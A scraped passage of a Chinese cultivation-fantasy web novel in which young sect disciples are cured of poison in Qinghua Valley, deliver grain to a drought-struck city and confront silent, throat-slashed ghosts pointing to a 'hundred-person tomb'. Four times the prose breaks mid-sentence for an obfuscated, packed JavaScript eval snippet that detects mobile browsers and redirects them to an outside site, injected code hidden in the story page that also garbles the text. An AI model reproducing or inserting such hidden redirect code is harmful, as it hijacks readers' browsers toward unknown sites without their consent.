承悦也哐哐哐喝了几杯,擦了擦嘴角道:“师兄啊,要我说这件事,怎么想怎么蹊跷,那人怎么下的毒蹊跷就也罢了,下的什么毒我看也很蹊跷。” 公仪岭道:“可不是?这毒下得无色无味的,我们这么多人喝都没喝出来。要不是知道孟姑娘是因为被我们叫住,才没有喝茶,我都快怀疑这个毒是青花谷产的呢。” 公仪岚摇头道:“要真是青花谷动的手,还大费周章给我们解毒做什么?更何况,青花谷又有什么动机呢?” 的确,青花谷明显没什么动机。 承悦挠头道:“当时是我们布阵的五个人先回来,等日落了其他人才回来的,这样看来,下毒的人应该是在我们回来之前就已经下好了才对。” 公仪岭像是被承悦点醒了一般,在桌子前怔愣许久,心中开始隐隐有了一个猜测。 “布阵是我们一起商量着布的,那如果,下毒的人也提前知道了我们要去布阵的事情呢?” 公仪岭突然开口的一句,说得两人面面相觑。 许久,承悦才像是吐出一口气,结结巴巴道:“师兄,你莫不是怀疑……” 公仪岭顿了顿,却又叹气道:“不过,这毕竟也只是我的一个猜想,究竟是不是如此,我并没有证据,你们且当留个心眼,这几天多观察观察吧。” 入夜。 被褥依旧是原先的仙侍送来的,与仙侍一起来的还有孟翰言,他看起来心情大好地走了进来,还同他们打了声招呼:“几位,晚上好啊。” 公仪岭还在想着怎么这人还心情这么好的模样,承悦就低声说道:“听说孟家兄妹感情极深,孟少宗主大约是因为妹妹无碍,才开心的吧。” 公仪岭心道,心情好了怎么还爱忽悠人了?开口道:“少宗主,在谷口你是忽悠我的吧?你给我一句实话,那当真是草药?” 孟翰言悠然理了理衣摆坐下,淡定答复:“不是。” 公仪岭大惑不解:“那你忽悠我干什么?咱俩之前不认识吧?” 孟翰言从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429897|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头到脚打量了他许久,末了,露出一个耐人寻味的笑容:“看你这身衣服不大顺眼。” 公仪岭低头摸了摸自己衣服上的料子,又看了看孟翰言,更为不解,道:“都是青色的,有什么问题吗?” 孟翰言奇道:“公仪兄这话就奇怪了,若是我没记错的话,你们云灵山都是穿红衣的吧?我看旁边两位都是如此,公仪兄怎么反倒穿的同青花谷差不多了?” “实不相瞒,你们刚摔下来的时候,我还当是我们青花谷的人从天上摔下来这么难看,犹豫了一会儿要不要当作不认识你们呢……” 公仪岭哑口无言,好一会儿才道:“其实你说的也没错,毕竟当时孟正初也是摔下来……” 公仪岚笑道:“少宗主有所不知,阿岭素来觉得,穿红色衣服在人群中太显眼了,所以出门在外的时候,常穿颜色偏浅的衣服。” 承悦赶紧补充道:“还是有所不同的,青花谷弟子们即便成年也不束发,身上又多带银饰,师兄这一身,一看就知道不是谷内人士。” 孟翰言笑道:“好了,我不过与他玩笑罢了。不说这个了,我这次过来是给你们带了些东西。” 公仪岭迫不及待问他:“可是解药的进度有进展了?” 孟翰言微微挑眉,没有接话,抬手拂过,几颗丹药便显现在桌子上。 公仪岭拿起面前的一颗丹药,问道:“这是?” 孟翰言道:“这毒夜间还会复发,中毒之人难免剧痛难忍。吃了这个的话,你们会好些。” 公仪岚拱手道:“多谢少宗主了。我们来得匆忙,也还未拜见青花谷宗主,失礼之处,还望海涵。” 孟翰言微笑道:“这有什么,等你们走之前再去与父亲告辞就好了。时辰不早了,用完膳你们早些休息吧。明日午时,我叫正初给你们拿来解药。” 许是因为一整日疲惫,又服用了药物,这一晚公仪岭的睡得十分舒坦,早上醒来虽然还有些脚底发虚,但比昨日的状态已经好了不少,咳血的次数少了许多。 如孟翰言所说,没到午时,公仪岭已经看见孟正初气色红润朝他们过来,公仪岭心中一喜,忙喊道:“孟兄,看你这气色,可是已经解了毒了?” 孟正初点头,一进门就将手中拿着的三个药瓶分给他们:“大哥叫我给你们带来的解药,喝完就没事了。” 公仪岭接过那一小瓶药,果断就喝了下去,砸吧砸吧回味了一下,竟然觉得有点咸,点评道:“咸了点。” 孟正初道:“大约是里面药材的缘故,你现在感觉如何?” 公仪岭感觉着胸口的痛楚逐渐消散,才缓缓尝试运了运力,大喜道:“好了好了,大哥你们快试试。” 公仪岚与承悦喝完,也是顿时觉得爽快不少,朝孟正初点了点头。 孟正初说道:“刚恢复,还是需要注意些少用灵力,等休养几日再说。” 承悦连连点头应承:“这个自然。” 孟正初见他们三人解了毒,笑道:“你们没事了便好。对了,大哥叫你们随我去正殿一趟,冀阳受灾,父亲叫人给我们准备了些粮食,好让我们带回去。” 公仪岚忙行礼道:“宗主心善,是该前去亲自拜见才是。” 30. 青花解千忧 诡谲疑云现(三) 青花谷的正殿设在吊楼的正中间,相比起抱元门的三化殿来说显得十分自然朴素,别有一番雅致。殿内随处可见绿植草药,也有高大的树木生长出的枝叶探进竹窗之中,地板上随处可见游走的灵蛇,一点也不怕人。 殿内中央的那张软榻上倚了一位看起来比他们年长些、剑眉星目的英俊男子,穿着一身极为随意松散的青色衣袍,手中还逗弄着一条黑色的小蛇,见公仪岭他们来了,才稍稍坐的端正了些,含笑道:“诸位小仙僚,来了。” 他们修仙之人,外貌大多都停留在成年后便不再有什么变化。他们云灵山与青花谷素来没什么交情,这位孟宗主,公仪岭只听自己爹娘提过一嘴。 孟宗主全名叫孟长歌,公仪岭他爹说,此人与其他仙门宗主比起来平平无奇,论风姿自己可甩他十条街。而他娘则说该男子长得可谓是丰神俊朗仪表堂堂,年轻时候也是诸位女修的追捧对象,这才让公仪岭拼凑出了个零星印象。 今日一见,果然他娘亲眼光非凡,不会出错。 公仪岭他们来的并不算早,其他几个人都已经坐在两侧的座椅上喝茶了。公仪岭瞧了一眼齐元白的脸色,见他虽然还有些气虚,不过已经行有余力,于是放下心来。 随意选了个靠窗的位置坐下后,孟长歌对身旁一位仙侍道了一声:“奉茶。” 齐元白在他旁边压低了声线道:“听闻孟宗主有两大爱好,一是爱蛇,二是爱美人,我瞧着果然不假,连青花谷的仙侍们也都是个个出挑的美人坯子。” 公仪岭之前光惦记着怎么解毒,压根没注意过谷中这些仙侍,等那仙侍奉茶上来,这才仔细看了两眼,轻声道:“还真是。” 齐元白又侧目瞥了两眼,来了劲:“不过也真是奇了,虽然大家都说他爱美人,但我看多半也是欣赏之意,这么多年来,他只娶了一位正妻,哪怕妻子仙逝后,也再没纳其他妾室,倒是位痴情的人。” 一旁燕煦泽也听到了齐元白说的,挑了挑眉轻笑一声,嗓音极低地调侃道:“我曾听闻,孟宗主年轻时候风流,下山历练的时候,也同不少年轻貌美的女妖成了至交好友,后面为了堵住悠悠众口,这才改了性……” 燕蓉无奈道:“大师兄,这可开不得玩笑。” 眼下他们人在屋檐下,又受了人家的救命之恩,自是不该胡乱揣测。燕煦泽听到师妹这样说,自知失言,也就正了正神色,不再多说了。 关于他们说的这些轶事,公仪岭便不甚清楚了,于是也没点评,只等着孟长歌先开口。 孟长歌微微挥手,那条吐着信子的黑色小蛇就回到了他手臂上的刺青里,继而说道:“仙考大会新出的加试的事情,我也听闻了,不知小仙僚们进展如何?” 公仪岚道:“承蒙宗主关怀,尚在追查之中。” 孟长歌笑道:“仙门之中,局势多变,三位长老想要通过设下考题来锻炼你们,倒也是个好办法。只是,此事你们还需抓紧时间才行,妙意可是快有一个月未曾回来了。” 孟妙意似乎有些不好意思:“爹,冀阳城现在病患诸多,我与二哥还在尽力救治。等事情解决,也就回来了。” 孟长歌温声道:“嗯,事成之后,谷内自当设宴,为你们兄妹二人接风洗尘。” “爹,倒是不必铺张设宴,这次冀阳饥荒和旱灾闹得厉害,不如准备些米粮,让我们回去的时候带上吧!”孟正初赶忙道。 “这是当然,粮食我已经命人备去谷口了。青花谷内设了仙障,你们若还是打算用阵法回去的话,需得出谷才行,我便不亲自送了。” 燕渊拱手道:“劳宗主费心,替我们解毒,我们自己回去就好。” 闲谈片刻,一盏茶凉。 公仪岭跟随众人同孟宗主告辞后,孟翰言受命将他们带离了青花谷,指着堆在板车上的粮食问道:“这么多东西,带的过来吗?” 司月吟笑道:“既然身体已经无碍,这次应该能带的过来。” 齐元白在边上蹲着看司青筠画图,有些惴惴不安:“司兄,这次你可千万别从半空降落了。” 司青筠抬头看了他一眼,淡声道:“那是个意外,再说,他们御剑不也出了意外吗?” 公仪岭立马道:“元白你放心,再来一次我肯定不会让你们摔地上了,要是再摔一次,你这衣服是黑的倒看不出来,我这衣服一摔可就全脏啦。” 孟翰言目光往他身上移了片刻,顿了顿,打趣道:“岭兄,我还是觉得你穿红色的不扎眼,下次见面的时候,可别再让我认错成我宗弟子了。” 公仪岭从善如流道:“行啊,那我穿白的。” 纪银灵在旁边平静反驳道:“那是我们六弦阁穿的颜色。” “怎么都这么小气……” 说话间,司青筠也画好了阵法,公仪岭往地上一看,这次的阵法果然画的比在屋内的大了好几倍,于是跟几个人一块将板车上的米粮全都搬了进来,齐齐站进画圈的地方。 公仪岚礼貌告辞:“孟兄,我们走了,下次有机会的话再会。” 孟妙意也道:“大哥,等事情处理完我们再回来。” 孟翰言揉了揉她的头,对他们温和道:“你们路上小心。” 司青筠手中灵石坠地后,公仪岭只觉眼前一晃,眼前的景象就已经变回了先前的院子,这一次,一行人总算是平安落了地,没有再出现上次摔地上的惨景。 小厮正拿着把扫帚扫着这座偏院,院子里突然凭空出现这么多人,直接把小厮的扫帚都吓得丢了出去,好不容易认出来是仙师们,这才颤抖着手将扫帚捡了起来,问道:“仙师们这两日……可是出城去了?” 公仪岭这才想起来,他们当时走得匆忙,也没同府中交代一句。又想到了茶壶里的残茶,心中一紧,赶忙问道:“我们那日喝剩下的茶,你们没动吧?” 小厮被他问得迷惑,还以为他们想喝隔日茶,连连摆手:“没动,没动。但是仙师,这茶隔了有两日了,恐怕……” “那就行——” 公仪岭听完前半句松了口气,心里盘算着等下就回屋内先把那些茶水处理再说。 小厮说完才发现他们身后竟还垒着几个大麻袋的米粮,睁大了眼惊呼道:“仙师这两日难道是去寻粮食了吗?竟有这多!” 公仪岚含笑道:“是的,还请您去告知城主一声,就说我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429898|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们还要处理布阵的问题,还请城主府明日给全城百姓放粮。” 小厮连声说好,拿着扫帚一溜烟跑没影了。 次日一早,城主依照他们说的话开府放粮。公仪岭从府中侧门出发的时候,远远看见一眼望不到头的百姓队伍排着队领米粥喝,放下心来。 昨天搬完米粮以后,他们也没有闲着,十几个人讨论了一晚上,终于确定了旱阵阵眼可能存在的几个方位,于是商量好后,一大早拆成了两支队伍,分别前去两个不同的地方寻找。 一路向北,不知走了几里地,公仪岭终于忍不住问道:“这个地方究竟有多远?” 他昨天分明也是看了地图的,清楚记得两支队伍要去的地方路程差不多,算算时间,他们七个人也走了快一个时辰了,竟然还没到目的地! 眼看着太阳越升越高,迎面而来的空气也越来越烫,在这里行走,简直比中毒还让他难受。 司月吟看了看昨天被圈画过的地图,宽慰他们:“就快到了,这里应该有座荒山才对。” 齐元白指了指前面,转头纳闷道:“荒山我倒是看见了,就是不知道是哪一座啊?” 风沙稍停,公仪岭看清了眼前,这才知道齐元白口中的“哪一座”是什么意思。 远处不出二里地外,明晃晃地立着连绵几座光秃秃的山头,每一座山上都只能看得见成片的枯木桩子和开裂的黄土,这哪是一座荒山?分明是一群荒山。 “这……”司月吟也无言了片刻,“先过去一座座查看着吧。” 本以为这山离他们没多远,谁知望山跑死马这条理论,即便是在荒地里也同样适用,于是,公仪岭再次真挚建议:“要不咱们御剑飞过去吧?” 司青筠道:“孟兄嘱托这几日尽量少用灵力,你要不还是留在破阵的时候用吧?” 公仪岭讪讪道:“御个剑也费不了多少力气,日头这么晒,咱们早点找到阵眼早点收工啊……” 公仪岚还是惦记着公仪岭的身体状况,细细打量了他的面色,又颇为担忧的问他:“阿岭,你现在感觉如何?御剑带人的话,怕是会消耗更多灵力啊” 不过,虽然公仪岚这样说,但公仪岭太了解他了,知道大哥这么问他就是基本上同意了,他马上道:“我还好,跟平时没什么两样!这次御剑载的人不多,足够了。” 齐元白拍了拍他,语重心长:“阿岭你每天待在云灵山里可不行,没走几步就嫌累了,应该向我学一学,时不时跑下去民间,除妖卖符看风水,锻炼身体……” 公仪岭微笑伸手:“那你给我点符,我好去卖?” “没有!”齐元白果断撤了手。 公仪岚听他这样说,也点了头:“阿岭你要是觉得可以的话,试试御剑也无妨。如果到时候有什么问题,破阵的事情就劳诸位多费心了。” 司青筠应道:“这是自然。” 两把剑出鞘,七人乘上了剑。虽然公仪岭很想飞快点,但在大哥的注视下,公仪岭还是默默放缓了速度,飞了半柱香的时间抵达了荒山脚下。 刚落地,司月吟忽然感觉手中昆吾轮一动,转而又平静了下来,还以为发生了错觉。 31. 青花解千忧 诡谲疑云现(四) 司青筠一直注意着司月吟的状态,见她突然止步,立刻以为她是身体不适,问道:“师妹,你怎么不走了?” 可转头一看,司月吟脸上表情不像是身体不适,反倒多了几分凝重。 公仪岚见她这般,心中一动,只当她是发现了什么问题:“司姑娘,如何?” 司月吟回过神收起昆吾轮,有些迟疑,轻声道:“……我感觉……这山有点问题。” 她说得模糊,公仪岭听得也模糊,心里琢磨了半晌也没明白:“司姑娘,你说的是……这一整片山都有问题?” 司月吟沉吟片刻,却也没十分肯定地下结论:“只是隐隐约约觉得这片区域有些问题,也许阵眼真的在这里也说不定,我们且走且看吧。” 公仪岭转而瞧了一眼司青筠的神色,见他也是若有所思的模样,问道:“抱元门可有什么法宝能寻阵眼的?如此大的一片山,搜上一日怕也搜不完。” 司青筠摇了摇头。 “并没有。不过,若想要在此山间布阵,适合设下阵眼的也不过寥寥几个位置,我们挨个找过去就是了。” 这方面,其他几个人自是没有司家两个人有发言权了。听他语气中不像是没把握的样子,于是几人顺着司青筠指的方向,沿着土路走。 穿过风沙地,离山越近,公仪岭便越是看得清晰。 这片荒山虽比不上其他地方的山林葱郁,但原先的那些树木植株也勉强能够覆盖上裸露的黄土,如果没遇上干旱,肯定不至于成为如今一派干枯的模样。 公仪岚看出他心中所想,安慰道:“等破除了旱阵,一定能让一切恢复如初。” 孟妙意却突然压低了嗓音说了一声:“嘘!先别说话,你们仔细听。” 公仪岭立即噤声,侧耳仔细听了听周围的动静。这一路过来,耳边大多都是萧萧风声,也没遇上过什么妖邪,他便没去仔细分辨这风声中有没有夹杂别的声音,现在齐元白一提醒,顿时暗骂了一声自己粗心大意,屏息凝神起来。 公仪岭闭目听了许久,才隐约听出风声中夹杂着的幽幽呜咽。 “好黑啊……” “好痛啊……” “求您了……放我出去吧……” 声音断断续续,有的甚至听不出什么内容,仅仅只剩下好似断了脖子般的嘶哑抽泣声,有男有女,有老有少,不尽相同。 燕蓉喃喃道:“这是……有人被关在这里吗?” 齐元白道:“这可不一定,能发出声音的,可不只是人。” 众人不敢大意,纷纷祭出了法器严阵以待,继续小心翼翼地往前前进。 公仪岭斜执着归云剑站在他们外圈,只觉有个声音自远而近。那声音的来源看见他们祭出武器后,像是突然受了什么刺激一般,速度极快,直冲着他们而来。 “小心!” 他再顾不得刻意压低声音,喊了一声提醒他们后,一剑扫向了那个东西。 这东西被他一剑轻松荡开,踉跄退了数步才勉强稳住身形。 公仪岭看了看手中剑,立刻判断出它并不算是难对付的那类。 只是,他做了各种心理准备,满以为映入眼前的会是什么可怕的妖邪之物,却不曾想定睛一看,眼前的这只厉鬼竟然是个女子模样。 她零散的头发挽成了一个简易的发髻,双眼只能看得见眼白,身上的衣服破破烂烂,脏污的裙摆上还有几片被扯碎的布条,惨白的脸和手臂上皆是醒目的血痕,一看就是被利器所伤。 这女鬼的道行不像是害过人的样子,公仪岭想着她也许是荒山里面哪座坟里的孤魂。于是一剑过后,没有再下死手,说道:“这位姐姐,我们途经此地,并非有意叨扰,有事好商量啊!” 这女鬼却是根本没理他说了什么,龇牙咧嘴如同野狼,毫不犹豫再扑上来。 公仪岭无奈,只得侧身闪避,又道:“有话好说啊!刚刚你们不是能说话吗?” 她侧过头,显然听到了公仪岭的话,狠狠剜了他一眼,转身就想再攻击,却被齐元白一道轻飘飘的符纸定住。 齐元白在后面喊道:“怎么你还要跟这女鬼要叙叙旧?” 公仪岭伸手在她眼前晃了晃,确定她应该不是个瞎子,才说道:“这姑娘修为不高,而且你刚刚也听见它们说话了,没准只是荒山坟地里一只游魂,还能让我们问个路呢?” 齐元白想了想,接受了他的说法,试探性道:“那你问问试试?我刚刚只是定住了她的身形,并没有封闭她的五识。” 公仪岭脸上表情不可谓不和善,刚想要开口再问,这女鬼却是突然仰头嘶吼了一声,那声音分明就是一个破锣嗓子,又尖又厉,还带了几分沙哑,发出来的音节也都是断断续续的,听得几人都是一愣。 孟妙意皱眉:“她的嗓子……怎么了?” 女鬼听到了孟妙意的话,身形微顿,稍稍仰头,脖子上那道致命的伤痕就露了出来,在她苍白的脖子上显得尤为狰狞可怖。 公仪岭一眼就认出这是匕首留下的痕迹,对齐元白道:“她是被匕首割喉死的,看这伤痕,深得几乎要把她的脖子砍断了,难怪她的声音如此。” 齐元白沉默片刻,指了指四面远方:“你说的这个,我也发现了,但是阿岭,她现在好像是在叫同伴?” 公仪岚也道:“阿岭,虽然你问路的想法很好,但我觉得,还是让齐兄先把她的嘴封上吧。” 没等公仪岭回答,齐元白便毫不犹豫扬手,又往她脑门上补了一张符,这女鬼的惨叫声戛然而止,颇为怨毒地盯着他们。 司月吟压低声音道:“现在封上好像也晚了啊,你们听周围……” 如她所说,现在周围的声音已经渐渐大了起来,公仪岭已经不需要闭上眼睛仔细分辨,就能够听清楚了,以他们为中心,方圆百米内都响起了起此彼伏的说话声。 “……女鬼青黛被人抓住了?” “就是刚才那群人吧……” “多少年了,还有人能进来……” 公仪岭紧紧握着归云剑,环顾四周,能看见向他们走近的数不清的影子,密密麻麻,似有数百人。 齐元白不由心惊:“这么多鬼魂,要杀到什么时候?” 公仪岚却有所发现,开口道:“你们看他们的衣着,与冀阳百姓穿的服饰完全不同。” 的确,冀阳城百姓的服饰特征还是挺明显的,一眼就能看出来。而面前这些鬼魂的服饰,看起来有点像,但又有些细微区别。 公仪岭有些不确定道:“这… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429899|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …应该是很久之前的样式吧?” 燕蓉道:“既然是百姓,那不会有这么多人被葬在荒山里吧?难道这里有一大片坟地?” 时间却容不得他们多加思考,所有影子在看见他们以后,竟然全都像受了极大刺激一般,前仆后继、手脚并用地想要过来撕咬他们。 公仪岭仅仅与他们过招了几下,就已经清楚了解。他们显然丝毫不懂术法,身上也没有沾染妖邪之气,除去那清晰厚重的怨气,感受不出其他任何气息。 这群鬼魂,真的只是最为普通的亡魂,没有一点修炼的痕迹,如果受他们的法器灵力所伤,恐怕顷刻间就会被打的魂飞魄散,永世不得超生。 如果只是以前普通百姓们的亡魂的话,他们是断然不可下手的,依照仙门规矩,还需要给他们念安魂咒超度。 司青筠喊道:“先不要伤了他们,把法器都收起来!” 公仪岭早有此意,当即将归云剑收回,仅用剑鞘挡了几下。 其他人也当即收起法器,闪避开了几下攻击。 齐元白手中黄符乱飞,给他们挨个贴符,边跑边叫:“不都是普通亡魂吗?怎么会有这么大的怨气?” 杀又不能杀,躲也不好躲,难得公仪岭觉得棘手,只好喊道:“司姑娘,有没有能控制住他们的阵法?” 说完,不远处地上很快滚落了一颗三化阵石,显然是司月吟抽空丢出来的。阵石一开,几百只鬼魂当即被锁在原地,动弹不得。 司月吟呼出一口气,庆幸道:“要是他们修为高一些的话,这低阶阵石可就控制不住他们了。” 群鬼张牙舞爪地立在他们面前,公仪岭一个个检查过去,几乎每一只的脖子上都有同样的匕首割喉的痕迹,于是肯定道:“他们都是被同一个人割喉而死,所以肯定不是荒山坟地里的孤魂野鬼,说不准就是被杀了以后丢在这里的。” 齐元白道:“冤有头债有主,他们被人杀了,那也不是被我们杀了,何至于看见我们有这么大的怨气?” 公仪岚沉思道:“也许是我们拿出武器的时候,让他们想起了割喉的时候,所以才……” 齐元白又疑惑道:“这荒山里冀阳不算远,这里有这么多亡魂,难道冀阳城里以前一个人都没有来过此地?我们在城中救治百姓的时候,也没听他们说这里闹鬼啊。” 公仪岭心知他说得没错。像这种鬼怪故事,在民间传播的速度极快,时间一长变成民俗传说也不一定。可他们来冀阳这么久了,却对此毫无耳闻,当真奇怪。 司月吟猜测道:“也许是因为,他们出不去,别的人也进不来。” 公仪岚道:“司姑娘,这里有结界的话,为何我们几个却能进来?” 司月吟看了看手掌心,沉默不语。 几人一筹莫展,公仪岭便也不在追问了,还是觉得自己直接问问那些鬼魂更为方便,目光便开始搜寻起那位一开始的女鬼起来。 寻了半天,总算在群鬼里找到了之前那只女鬼,公仪岭对众人道:“反正她不是会说话吗?问问就好了。” 说罢将她额前的黄符揭了下来,他道:“刚刚听他们说,你叫青黛是吧?青黛姑娘,你叫来的帮手现在也都动不了了,我看你还是稍微配合我们一点,回答下问题吧?” 32. 夜赴百人冢 雨落冀阳城(一) 众人齐唰唰看向那个名叫青黛的女鬼,等着公仪岭从她嘴里撬出点东西。谁知等了半天,青黛刚才还能发出叫声,这会儿却是张了张嘴,发不出一点声音。 公仪岭问了三四遍,见她依旧是没有一点反应,开始怀疑自己,转头问齐元白道:“我没揭错符纸吧?这个是封了她五识的那张符纸吧?” 众人又是一齐看向齐元白,而后者走了过去,只看了一眼他揭的符纸,就斩钉截铁道:“没有错,我就是这么贴的。” 公仪岭心道:“难道是我方才说的话太具有威胁性了?要不再温和点问问?” 于是他又耐心地问了一遍:“青黛姑娘,可否出个声呢?” 齐元白也温声道:“青黛姑娘,你因何至此,又因何亡故?” 青黛努力张嘴,但依旧发不出声音。 这下齐元白也纳闷了:“刚刚不是还能说话吗?难不成这空气里有哑药,给鬼毒哑了?” 公仪岭瞪了他一眼:“瞎说什么,要真有哑药,我们现在还能说话?” 燕蓉在这时却是突然发现了什么,指着她的身形说道:“等等,你们看,我怎么觉得她好像身形变淡了不少?” 公仪岭连忙顺着她指着的方向看去,青黛的衣物果真开始逐渐变透明,如果不是风还吹动着她裙摆的那几片破布条,在黄沙中若隐若现,公仪岭几乎已经看不见她的下半身了。 “怎么会这样?刚才还好好的!”公仪岭惊诧不已,“我方才并未伤到她吧。” 公仪岚却在此刻沉声道:“不,不只是她,阵法里的其他亡魂也一样。” 公仪岭这才发觉,从它们被困在阵法内开始,渐渐就已经叫不出声音了,现在这一片区域,除了风声,就只剩下他们几个人说话的声音,安静的可怕。 司月吟道:“每个魂魄也都在变淡,他们好像……都说不出话了。” 公仪岭环视了一圈,正如他们所说,阵法中的所有亡魂都出现了跟青黛姑娘一样的状态,甚至有几个虚弱的已经在原地消散,所以才会让他觉得原本拥挤的阵法变得宽敞不少,实则应该是阵法里的亡魂比一开始的时候少了许多,才会空出了不少位子。 公仪岚转而问司月吟道:“司姑娘,这阵法可有问题?” 司月吟也是颇为意外:“不可能有问题啊,这类阵石只会暂时困住鬼魂,限制他们的行动,并不会对他们造成伤害的。” 孟妙意道:“我们刚才打架的时候收了法器,都是赤手空拳上阵的,按理来说他们不会这样消失的。” 司青筠叹了口气:“不,还有一种可能。” 所有人看向了他,公仪岭立即问道:“什么可能?” 司青筠缓缓道:“除非,他们并不算是鬼魂,所以撑不住多久就消散了。” 众人都沉默了。 在打架的时候,公仪岭只当他们是没有修为的亡魂,并没有朝这方面考虑过,现在司青筠提出这个可能,他飞快地把妖魔鬼怪四类回忆了一遍,但还是觉得这些人不像这四种里面的任何一种。 齐元白道:“如果不是亡魂是其他的话,他们没有修为,也算不得妖魔鬼怪里面的任何一种吧?何况从刚刚来看,他们明显就是普通人的样子。” 燕蓉若有所思:“不是亡魂的话,便只剩下一种可能了……我曾听师父说过,如果人亡故后执念极深,也许会将自己的部分意识以这样的形态残存,但是撑不了多久就会消散。” 公仪岭道:“撑不了多久是多久?从初遇到现在,至多也不过一炷香的时间。看衣着,他们是早就亡故的人,怎么前面都没有消散,遇到我们就……” 燕蓉道:“或许是我们进来的时候触碰到了什么,所以才将他们引了出来,他们本就已经留存了很久,飞速消散也是正常。” 燕蓉说完,青黛姑娘的身形已经变得很淡很淡,淡得像是一缕炊烟,随时都会随着风沙离去。 “我觉得燕蓉说得没错。” 司青筠抬手指了指头顶的阳光:“你们还记得一开始听见的声音吗?他们说觉得很黑,但是现在我们所在的地方,骄阳似火,烈日炎炎。这足以说明,他们并不在这里,至少……肉身不在。” 青黛还在拼命开合着双唇,想要讲什么却又说不出来,模样很是可怜。公仪岭见她如此,于心不忍:“那他们的亡魂呢?我们来都来了,总该让他们魂归故里吧。” 齐元白犹豫道:“可是,现在也不知道他们在何处,我们此番是为了阵眼而来,如此周折,只怕耽误时间……” 孟妙意哼道:“还有什么好犹豫的?光在这干讨论也没什么进展!既然现在也没有关于阵眼的其他线索,那我们不如去找一找那个他们说的很黑的地方,说不定,这就是有关于阵眼的线索了。” 众人觉得孟妙意说的也是,再度望向那些即将消散的人形。 阵里的每一个人形意看起来都十分痛苦,有的甚至疯狂地掐自己脖子上的刀痕想要缓解,却是无济于事。 青黛姑娘也是如此,说不出话就捂着脖子干咳,咳了半天咳得脖子几乎都要断了,才勉强直起身子继续尝试说话。 公仪岭凝视着青黛的面孔,轻声问道:“青黛,你很痛吗?” 青黛的白眸在听到这句话的时候,低垂了片刻,浑浊的眼眶竟是落下了一滴不存在的泪,看着已经逐渐透明的双腿。 意识到自己的时间已经所剩无几后,她的双手猛然抓住了公仪岭的手臂,神情急切,嘴唇微张,口型不断说着三个字,反反复复,没有停息。 公仪岭模仿着她的口型,想要努力理解她说的话,直到青黛完全消失。 司青筠走到他身边,道:“你可有看懂她想说什么?” 公仪岭怔在原地,感觉自己身上竟然冒出了冷汗。 就在刚才电光火石间,他念着念着就好像明白了青黛嘴里反复想说的三个字,究竟是哪三个字。 “百人冢。”他低声说道。 众人皆是一愣。 公仪岭则是在脑中仔细回忆着从前在藏书阁里翻阅过的书籍,回忆着是否有类似的信息,遗憾的是,他并没有想到。 且不说他们云灵山离冀阳城山高水远,一个在东,一个在西,对这边的情况并不了解,何况从青黛的种种表现来看,这百人冢一看就知不是什么光彩的事情,公仪岭觉得大约不是书上没写,而且直接刻意将这段抹去了。 半晌,齐元白才开口道:“会不会是此前战场上死去的百姓,被人安置在这里的?” 公仪岭道:“如果是这样正派的理由,多少也会有书籍记载,但在我刚刚的印象里,从未在哪本古籍上见过。” 公仪岚摇头道:“战场上身亡的将士,多半不会如此草率地被遗弃在这里,连魂魄都不得安息。” 燕蓉也道:“我觉得他们被困在这里,多半是因为此地设了结界。依我看,我们一路找找看有没有结界吧。” 公仪岚想了想,觉得他们说的很有道理,转身问司月吟道:“司姑娘,可有什么探查结界的办法吗?” 这会儿,这些半透明的意识们都消失了,地上的那块阵石又重新回到了司月吟手中,被她收起放好。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429900|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 司月吟的面色看起来很不好,怔怔地不知道在想什么,听到公仪岚问她,才缓缓道:“没有。” 司青筠见她出神,语气迟疑,问道:“师妹,你的……” 司月吟打断了他的话,平静道:“师兄,你知道我并不擅长这个。” 公仪岚揣度着他们的神色,道:“我是记得抱元门有这个法子,才出此一问。司姑娘既然说不擅长这个,那就罢了。司兄,你可有办法吗?” 司青筠盯着司月吟看了半晌,才错开了视线,沉吟许久,还是点了点头:“办法是有,姑且一试。” 公仪岭见他右手掌心一翻,祭出法器。默念了一句后,那法器闪着幽幽暗光,片刻后完全暗了下去。 司青筠道:“走这边。” 跟着司青筠一路走,公仪岭本以为要不了多久就能到,谁知这一走就是两个时辰,他们绕着几座荒山山头九曲十八弯,时不时还要根据法器指示改变方向。 